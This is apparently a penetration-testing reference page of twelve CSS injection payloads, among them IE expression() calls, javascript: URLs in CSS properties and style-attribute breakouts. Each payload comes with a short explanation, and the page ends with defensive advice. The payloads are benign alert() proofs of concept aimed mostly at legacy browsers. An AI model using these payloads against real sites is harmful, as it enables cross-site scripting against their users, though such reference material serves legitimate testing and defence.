Skip to content

CSS Injection Payloads

12 payloadsFor authorized testing only

CSS injection occurs when attacker input lands in a <style> block or a style attribute. On modern browsers CSS can't run JavaScript, but it can still exfiltrate data (attribute selectors + background requests) and, on legacy engines, could execute script via expression() or javascript: URLs.

The payloads below cover the classic script-execution vectors (useful against old IE-era targets and lax sanitizers) and the style-attribute breakout shapes. Treat the script-running ones as historical unless you're testing a legacy stack.

IE CSS expression() in div style

HTML bodyseverity: medium
<div style="width:expression(alert('XSS'))">
Context
Injected into a <style> block or style attribute.
What it needs
A CSS sink (style block/attribute). Most of these only run on legacy engines.
Why it works
Legacy IE expression() evaluates JS from a style property (historical IE targets).

IE CSS expression() in img style

HTML bodyseverity: medium
<img src=x style="xss:expression(alert('XSS'))">
Context
Injected into a <style> block or style attribute.
What it needs
A CSS sink (style block/attribute). Most of these only run on legacy engines.
Why it works
IE expression() in an inline style runs JS.

IE CSS expression() in custom tag style

HTML bodyseverity: medium
<xss style="xss:expression(alert('XSS'))"></xss>
Context
Injected into a <style> block or style attribute.
What it needs
A CSS sink (style block/attribute). Most of these only run on legacy engines.
Why it works
A custom element with an expression() style runs JS on old IE.

CSS background-image: url(javascript:) via style block

HTML bodyseverity: medium
<style>body{background:url("javascript:alert('XSS')")}}</style>
Context
Injected into a <style> block or style attribute.
What it needs
A CSS sink (style block/attribute). Most of these only run on legacy engines.
Why it works
A javascript: URL in a CSS background executed in legacy engines.

CSS background-image: url(javascript:) in div

HTML bodyseverity: medium
<div style="background-image:url(javascript:alert('XSS'))">
Context
Injected into a <style> block or style attribute.
What it needs
A CSS sink (style block/attribute). Most of these only run on legacy engines.
Why it works
background-image:url(javascript:) ran JS in legacy engines.

CSS background-image: url(javascript:) via class

HTML bodyseverity: medium
<style>.xss{background-image:url("javascript:alert('XSS')")}</style><a class=xss></a>
Context
Injected into a <style> block or style attribute.
What it needs
A CSS sink (style block/attribute). Most of these only run on legacy engines.
Why it works
A class rule with a javascript: background URL runs in legacy engines.

CSS @import javascript: URL

HTML bodyseverity: medium
<style>@import 'javascript:alert("XSS")';</style>
Context
Injected into a <style> block or style attribute.
What it needs
A CSS sink (style block/attribute). Most of these only run on legacy engines.
Why it works
@import of a javascript: URL executed in legacy engines.

CSS @import with backslash-obfuscated javascript: URL

HTML bodyseverity: medium
<style>@im\port'\ja\vasc\ript:alert("XSS")\u0000';</style>
Context
Injected into a <style> block or style attribute.
What it needs
A CSS sink (style block/attribute). Most of these only run on legacy engines.
Why it works
Backslash obfuscation hides the javascript: scheme from CSS filters.

LINK rel=stylesheet with javascript: href

HTML bodyseverity: medium
<link rel="stylesheet" href="javascript:alert('XSS')">
Context
Injected into a <style> block or style attribute.
What it needs
A CSS sink (style block/attribute). Most of these only run on legacy engines.
Why it works
<link rel=stylesheet href=javascript:> loaded script in legacy engines.

CSS list-style-image: url(javascript:)

HTML bodyseverity: low
<style>li{list-style-image:url("javascript:alert('XSS')")}}</style><ul><li>x
Context
Injected into a <style> block or style attribute.
What it needs
A CSS sink (style block/attribute). Most of these only run on legacy engines.
Why it works
list-style-image:url(javascript:) ran JS in legacy engines.

CSS expression() injected via style attribute

HTML attributeseverity: medium
" style="xss:expression(alert('XSS'))" x="
Context
Injected via a style attribute.
What it needs
A CSS sink (style block/attribute). Most of these only run on legacy engines.
Why it works
Breaking out of a style attribute injects an expression() rule.

CSS background javascript: injected via style attribute

HTML attributeseverity: medium
" style="background:url('javascript:alert(\"XSS\")') x="
Context
Injected via a style attribute.
What it needs
A CSS sink (style block/attribute). Most of these only run on legacy engines.
Why it works
Breaking out of a style attribute injects a javascript: background URL.

Defense

  • Never reflect untrusted data into <style> blocks or style attributes; disallow the style attribute when sanitizing.
  • Encode or strip quotes and parentheses in any value that reaches CSS.
  • Use a CSP that blocks inline styles (no unsafe-inline for style-src) where feasible.
  • Be aware of CSS-based data exfiltration, not just script execution.

Keep testing